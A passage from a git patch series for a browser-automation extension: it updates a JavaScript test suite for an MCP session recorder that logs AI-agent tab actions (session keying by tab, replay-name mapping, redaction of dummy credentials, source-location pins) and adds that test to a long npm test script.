t+75s: past the ORIGINAL deadline (t+60s) but inside the re-armed one @@ -378,8 +421,8 @@ function readDispatch(o) { console.log('\n--- Test 6: run_task dispatches are never recorded ---'); { const { logger } = freshSection(); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-4', tool: 'run_task', params: { tabId: 3, task: 'do things' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-4', tool: 'run_task', params: { tab_id: 3, task: 'do things' }, tabId: 3, visualReason: 'Autopilot handoff', client: 'Claude' })); passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, @@ -409,10 +452,10 @@ function readDispatch(o) { url: 'https://example.com/x', password: 'hunter2', nested: { apiKey: 'k' }, - tabId: 11 + tab_id: 11 }; - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-5', tool: 'navigate', params: originalParams, + recorder.recordAction(bridgeAction({ + agentId: 'agent-5', tool: 'navigate', params: originalParams, tabId: 11, visualReason: 'Log in', client: 'Claude', isFinal: true })); passAssertEqual(logger.calls.saveSession.length, 1, 'redaction session closed and saved'); @@ -436,8 +479,8 @@ function readDispatch(o) { globalThis.redactForLog = function (value) { return { kind: 'shimmed', length: String(value).length }; }; - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-6', tool: 'type_text', params: { tabId: 12, text: 'ok', password: 'hunter2' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-6', tool: 'type', params: { tab_id: 12, text: 'ok', password: 'hunter2' }, tabId: 12, visualReason: 'Second login', client: 'Claude', isFinal: true })); const shimmed = logger.calls.saveSession[1].sessionData.actionHistory[0].params.password; @@ -457,15 +500,20 @@ function readDispatch(o) { globalThis.extractAndStoreMemories = makeMemoriesStub(); let threw = false; let returned = 'sentinel'; + let returnedAction = 'sentinel'; try { - returned = recorder.recordDispatch(actionDispatch({ - agentId: 'agent-7', tool: 'click', params: { tabId: 1 }, + returnedAction = recorder.recordAction(bridgeAction({ + agentId: 'agent-7', tool: 'click', params: { tab_id: 1 }, tabId: 1, visualReason: 'Hostile shims', client: 'Claude' })); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-7', tool: 'click', params: { tabId: 1 }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-7', tool: 'click', params: { tab_id: 1 }, tabId: 1, visualReason: 'Hostile shims', client: 'Claude', isFinal: true })); + recorder.recordAction(null); + recorder.recordAction(42); + recorder.recordAction({}); + returned = recorder.recordDispatch(readDispatch({ agentId: 'agent-7', tool: 'mcp:read-page' })); recorder.recordDispatch(null); recorder.recordDispatch(42); recorder.recordDispatch({}); @@ -473,46 +521,51 @@ function readDispatch(o) { } catch (_e) { threw = true; } - passAssertEqual(threw, false, 'recordDispatch never throws under throwing storage/logger shims'); + passAssertEqual(threw, false, 'recordAction/recordDispatch never throw under throwing storage/logger shims'); passAssertEqual(returned, undefined, 'recordDispatch returns undefined (fire-and-forget contract)'); + passAssertEqual(returnedAction, undefined, 'recordAction returns undefined (fire-and-forget contract)'); - // Dispatcher-side contract: both hook sites wrapped in their OWN try/catch. + // Hook-site contract: each site wrapped in its OWN try/catch. const dispatcherSrc = fs.readFileSync(DISPATCHER_PATH, 'utf8'); - const guardCount = (dispatcherSrc.match(/never let session recording break dispatch/g) || []).length; - passAssertEqual(guardCount, 2, 'both dispatcher hook sites carry their own defence-in-depth catch'); + const dispatcherGuards = (dispatcherSrc.match(/never let session recording break dispatch/g) || []).length; + passAssertEqual(dispatcherGuards, 1, + 'the dispatcher message-route hook carries its own defence-in-depth catch'); + const bridgeSrc = fs.readFileSync(BRIDGE_CLIENT_PATH, 'utf8'); + const bridgeGuards = (bridgeSrc.match(/never let session recording break the action/g) || []).length; + passAssertEqual(bridgeGuards, 1, + 'the bridge action tap carries its own defence-in-depth catch'); } // -- Test 10: source-pin guards ------------------------------------------------- - console.log('\n--- Test 10: source-pin guards (dispatcher hooks + SW load line) ---'); + console.log('\n--- Test 10: source-pin guards (bridge tap + dispatcher hook + SW load line) ---'); { const dispatcherSrc = fs.readFileSync(DISPATCHER_PATH, 'utf8'); + const bridgeSrc = fs.readFileSync(BRIDGE_CLIENT_PATH, 'utf8'); + // Dispatcher: exactly ONE session-recorder site -- the message route. + // The tool route must stay session-clean: all of its action traffic + // originates in _handleExecuteAction (which records at the bridge tap), + // so a second site here would double-count every background action. const sessionSitePattern = /globalThis\.fsbMcpSessionRecorder\.recordDispatch\(\{[\s\S]*?\}\);/g; const sessionSites = dispatcherSrc.match(sessionSitePattern) || []; - passAssertEqual(sessionSites.length, 2, - 'exactly 2 fsbMcpSessionRecorder.recordDispatch sites in mcp-tool-dispatcher.js'); - for (let i = 0; i < sessionSites.length; i++) { - passAssert(sessionSites[i].includes('resolveMcpClientLabel(payload)'), - 'session-recorder site #' + (i + 1) + ' calls resolveMcpClientLabel(payload)'); - passAssert(!/[\s,]client,\s/.test(sessionSites[i]), - 'session-recorder site #' + (i + 1) + ' does NOT pass a bare `client` arg'); - } + passAssertEqual(sessionSites.length, 1, + 'exactly 1 fsbMcpSessionRecorder.recordDispatch site in mcp-tool-dispatcher.js (message route only)'); + passAssert(sessionSites.length === 1 && sessionSites[0].includes('resolveMcpClientLabel(payload)'), + 'the message-route session site calls resolveMcpClientLabel(payload)'); + + const msgRouteIdx = dispatcherSrc.indexOf('async function dispatchMcpMessageRoute'); + passAssert(msgRouteIdx !== -1, 'dispatchMcpMessageRoute found in the dispatcher'); + const firstSessionMention = dispatcherSrc.indexOf('fsbMcpSessionRecorder.recordDispatch'); + passAssert(firstSessionMention > msgRouteIdx, + 'no session-recorder recordDispatch before dispatchMcpMessageRoute (tool route is session-clean)'); - // Message-route site sits inside the !_mcpMetricsSuppressInner gate: - // substring order tool-route-site < gate < message-route-site. const gateNeedle = 'if (!_mcpMetricsSuppressInner) {'; const gateCount = dispatcherSrc.split(gateNeedle).length - 1; passAssertEqual(gateCount, 1, 'exactly one !_mcpMetricsSuppressInner gate in the dispatcher'); const gateIdx = dispatcherSrc.indexOf(gateNeedle); - // Match the CALL form (with the opening brace) -- each hook site also - // mentions the same dotted path inside its typeof guard. - const sessionCallNeedle = 'globalThis.fsbMcpSessionRecorder.recordDispatch({'; - const firstSessionIdx = dispatcherSrc.indexOf(sessionCallNeedle); - const secondSessionIdx = dispatcherSrc.indexOf(sessionCallNeedle, firstSessionIdx + 1); - passAssert(firstSessionIdx !== -1 && firstSessionIdx < gateIdx, - 'tool-route session-recorder site appears BEFORE the message-route suppression gate'); - passAssert(secondSessionIdx > gateIdx, - 'message-route session-recorder site appears AFTER (inside) the !_mcpMetricsSuppressInner gate'); + const sessionCallIdx = dispatcherSrc.indexOf('globalThis.fsbMcpSessionRecorder.recordDispatch({'); + passAssert(sessionCallIdx > gateIdx, + 'message-route session site sits INSIDE the !_mcpMetricsSuppressInner gate (alias double-count guard)'); // The original metrics pins are undisturbed (Test 9 of // mcp-dispatcher-client-label.test.js must keep matching exactly 2). @@ -523,9 +576,32 @@ function readDispatch(o) { passAssert(metricsSites[i].includes('resolveMcpClientLabel(payload)'), 'metrics site #' + (i + 1) + ' still calls resolveMcpClientLabel(payload)'); passAssert(!metricsSites[i].includes('fsbMcpSessionRecorder'), - 'metrics site #' + (i + 1) + ' span does NOT swallow the session-recorder call'); + 'metrics site #' + (i + 1) + ' span does NOT swallow a session-recorder call'); } + // Bridge tap: exactly ONE recordAction call site, reached from exactly + // THREE _handleExecuteAction branches (main path + open_tab/switch_tab + // bootstrap + navigate NO_OWNED_TAB recovery). + const recordActionSites = bridgeSrc.match(/globalThis\.fsbMcpSessionRecorder\.recordAction\(\{[\s\S]*?\}\);/g) || []; + passAssertEqual(recordActionSites.length, 1, + 'exactly 1 fsbMcpSessionRecorder.recordAction site in mcp-bridge-client.js'); + passAssert(recordActionSites.length === 1 && recordActionSites[0].includes('resolveMcpClientLabel(payload)'), + 'the bridge tap resolves the canonical client label'); + const tapInvocations = (bridgeSrc.match(/this\._recordMcpSessionAction\(/g) || []).length; + passAssertEqual(tapInvocations, 3, + 'the tap fires from exactly 3 _handleExecuteAction branches'); + + // The 4500-char source gates in tests/action-tool-agent-scoped.test.js + // and tests/ownership-error-codes.test.js slice from + // 'async _handleExecuteAction' and require resolveAgentTabOrError inside; + // insertions ahead of the resolver eat that budget. Fail HERE, loudly, + // instead of letting those suites degrade to silent skips. + const eaStart = bridgeSrc.indexOf('async _handleExecuteAction'); + passAssert(eaStart !== -1, '_handleExecuteAction found in mcp-bridge-client.js'); + const resolverOffset = bridgeSrc.indexOf('resolveAgentTabOrError', eaStart) - eaStart; + passAssert(resolverOffset > -1 && resolverOffset < 4500, + 'resolveAgentTabOrError within 4500 chars of _handleExecuteAction (offset ' + resolverOffset + ')'); + const bgSource = fs.readFileSync(BACKGROUND_PATH, 'utf8'); const loadLines = bgSource.split('\n').filter(function (line) { return line.includes("importScripts('utils/mcp-session-recorder.js')"); @@ -612,6 +688,150 @@ function readDispatch(o) { 'malformed (non-object) envelope restores nothing'); } + // -- Test 13: tab identity precedence (review finding #1) ------------------------ + console.log('\n--- Test 13: tab identity -- snake_case tab_id, explicit precedence, no collapse ---'); + { + freshSection(); + // Wire snake_case tab_id keys the session even with NO explicit tabId + // (e.g. a future recordDispatch caller without the resolved id). + recorder.recordAction(bridgeAction({ + agentId: 'agent-8', tool: 'click', params: { tab_id: 42, selector: '#a' }, + visualReason: 'Wire snake_case tab', client: 'Claude' + })); + let keys = Object.keys(recorder._peekOpenSessions()); + passAssertEqual(keys.length, 1, 'snake_case-only dispatch opened one session'); + passAssertEqual(keys[0], 'agent-8::42', 'params.tab_id keys the session -- no agentId::none collapse'); + + // Explicit resolved tabId wins over params. + freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-8', tool: 'click', params: { tab_id: 99 }, tabId: 42, + visualReason: 'Resolver beats raw params', client: 'Claude' + })); + keys = Object.keys(recorder._peekOpenSessions()); + passAssertEqual(keys[0], 'agent-8::42', 'explicit resolved tabId takes precedence over params.tab_id'); + + // camelCase back-compat (dispatcher-injected routeParams shape). + freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-8', tool: 'click', params: { tabId: 13 }, + visualReason: 'Legacy camelCase param', client: 'Claude' + })); + keys = Object.keys(recorder._peekOpenSessions()); + passAssertEqual(keys[0], 'agent-8::13', 'camelCase params.tabId still keys the session (back-compat)'); + + // The review's headline scenario: one agent, two tabs -> two sessions. + const { logger } = freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-m', tool: 'click', params: { tab_id: 1 }, tabId: 1, + visualReason: 'Tab one work', client: 'Claude' + })); + recorder.recordAction(bridgeAction({ + agentId: 'agent-m', tool: 'click', params: { tab_id: 2 }, tabId: 2, + visualReason: 'Tab two work', client: 'Claude' + })); + const open = recorder._peekOpenSessions(); + passAssertEqual(Object.keys(open).length, 2, + 'same agent driving two tabs holds two DISTINCT open sessions (no merge)'); + passAssert(open['agent-m::1'] && open['agent-m::2'], 'sessions keyed agent-m::1 and agent-m::2'); + passAssertEqual(open['agent-m::1'].actionHistory.length, 1, 'tab-1 session holds only its own action'); + passAssertEqual(logger.calls.saveSession.length, 0, 'no spurious close while both tabs are active'); + } + + // -- Test 14: bootstrap birth (open_tab/switch_tab post-dispatch tabId) ---------- + console.log('\n--- Test 14: bootstrap birth with post-dispatch resolved tabId ---'); + { + const { logger } = freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-b', tool: 'open_tab', params: {}, + visualReason: 'Open a fresh tab for research', client: 'Claude', + response: { success: true, tabId: 7 }, tabId: 7 + })); + const open = recorder._peekOpenSessions(); + const keys = Object.keys(open); + passAssertEqual(keys.length, 1, 'bootstrap action opened one session'); + passAssertEqual(keys[0], 'agent-b::7', + 'empty wire params + post-dispatch tabId key the session (no agentId::none)'); + passAssertEqual(logger.calls.logSessionStart[0].tabId, 7, 'logSessionStart got the post-dispatch tabId'); + passAssertEqual(open['agent-b::7'].actionHistory[0].tool, 'open_tab', + 'non-replayable wire verb stored verbatim (replay filter drops it downstream)'); + } + + // -- Test 15: replay-name map (review finding #2) --------------------------------- + console.log('\n--- Test 15: go_back/go_forward stored as replay whitelist names ---'); + { + const { logger } = freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-h', tool: 'go_back', params: { tab_id: 4 }, tabId: 4, + visualReason: 'Back to the results list', client: 'Claude' + })); + recorder.recordAction(bridgeAction({ + agentId: 'agent-h', tool: 'go_forward', params: { tab_id: 4 }, tabId: 4, + visualReason: 'Forward again', client: 'Claude' + })); + recorder.recordAction(bridgeAction({ + agentId: 'agent-h', tool: 'cdpClickAt', params: { x: 10, y: 20, tab_id: 4 }, tabId: 4, + visualReason: 'Click the canvas point', client: 'Claude' + })); + recorder.recordAction(bridgeAction({ + agentId: 'agent-h', tool: 'navigate', params: { tab_id: 4, url: 'https://example.com/done' }, tabId: 4, + visualReason: 'Wrap up', client: 'Claude', isFinal: true + })); + passAssertEqual(logger.calls.saveSession.length, 1, 'mapping session closed and saved'); + const tools = logger.calls.saveSession[0].sessionData.actionHistory.map(function (a) { return a.tool; }); + passAssertEqual(tools[0], 'goBack', "wire 'go_back' stored as replay name 'goBack'"); + passAssertEqual(tools[1], 'goForward', "wire 'go_forward' stored as replay name 'goForward'"); + passAssertEqual(tools[2], 'cdpClickAt', 'cdp verb stored verbatim (legitimately non-replayable)'); + passAssertEqual(tools[3], 'navigate', 'already-compatible wire verb stored verbatim'); + passAssertEqual(logger.calls.logAction[0].action.tool, 'goBack', + 'logAction agrees with actionHistory on the mapped name'); + + // Pin the whitelist side of the contract: the mapped names exist in + // background.js loadReplayableSession's set literal, the wire names do + // not (which is exactly why the map is required). + const bgSource = fs.readFileSync(BACKGROUND_PATH, 'utf8'); + const wlMatch = bgSource.match(/replayableTools = new Set\(\[[\s\S]*?\]\)/); + passAssert(!!wlMatch, 'replayableTools set literal found in background.js'); + passAssert(!!wlMatch && wlMatch[0].indexOf("'goBack'") !== -1 && wlMatch[0].indexOf("'goForward'") !== -1, + 'replay whitelist contains the mapped names goBack/goForward'); + passAssert(!!wlMatch && wlMatch[0].indexOf("'go_back'") === -1, + 'replay whitelist does NOT contain wire name go_back (mapping is required)'); + } + + // -- Test 16: failure semantics + sidecar-less action calls ----------------------- + console.log('\n--- Test 16: failed actions append; sidecar-less recordAction joins, never births ---'); + { + const { logger } = freshSection(); + recorder.recordAction(bridgeAction({ + agentId: 'agent-f', tool: 'click', params: { tab_id: 3 }, tabId: 3, + visualReason: 'Try a flaky button', client: 'Claude' + })); + recorder.recordAction(bridgeAction({ + agentId: 'agent-f', tool: 'click', params: { tab_id: 3 }, tabId: 3, + visualReason: 'Try a flaky button', client: 'Claude', + response: { success: false, error: 'element not found' }, success: false + })); + let rec = recorder._peekOpenSessions()['agent-f::3']; + passAssertEqual(rec.actionHistory.length, 2, 'failed action still appended to the history'); + passAssertEqual(rec.actionHistory[1].result.success, false, + 'failure result preserved (replay filter excludes it downstream)'); + + // Sidecar-less action-path call (defensive shape) JOINs the open session. + recorder.recordAction(bridgeAction({ + agentId: 'agent-f', tool: 'get_text', params: { tab_id: 3 }, tabId: 3, noSidecar: true + })); + rec = recorder._peekOpenSessions()['agent-f::3']; + passAssertEqual(rec.actionHistory.length, 3, 'sidecar-less action-path call JOINs the open session'); + + // ...but never births for an agent with no open session. + recorder.recordAction(bridgeAction({ + agentId: 'agent-fresh', tool: 'get_text', params: {}, tabId: 5, noSidecar: true + })); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 1, + 'sidecar-less call for an unknown agent births nothing'); + passAssertEqual(logger.calls.saveSession.length, 0, 'no close fired during Test 16'); + } + // -- Wrap up --------------------------------------------------------------------- recorder._resetForTests(); recorder._setTimeShim(null); From f4992f8fa11508b6d8a56bcc02d9c31d08c66366 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:36:11 -0500 Subject: [PATCH 004/581] chore(mcp-session-recorder): wire session-recorder test into npm test script tests/mcp-session-recorder.test.js landed in the prior mcp-session-recorder commits but was never added to the npm test script, so it wasn't running. --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index c2f41eb07..a0ba59da0 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "scripts": { "build": "node esbuild.config.js", "build:cfworker": "node_modules/.bin/esbuild node_modules/@cfworker/json-schema/dist/esm/index.js --bundle --format=iife --global-name=CfworkerJsonSchema --platform=browser --target=chrome120 --legal-comments=none --outfile=extension/lib/cfworker-json-schema.min.js", - "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", + "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-session-recorder.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node 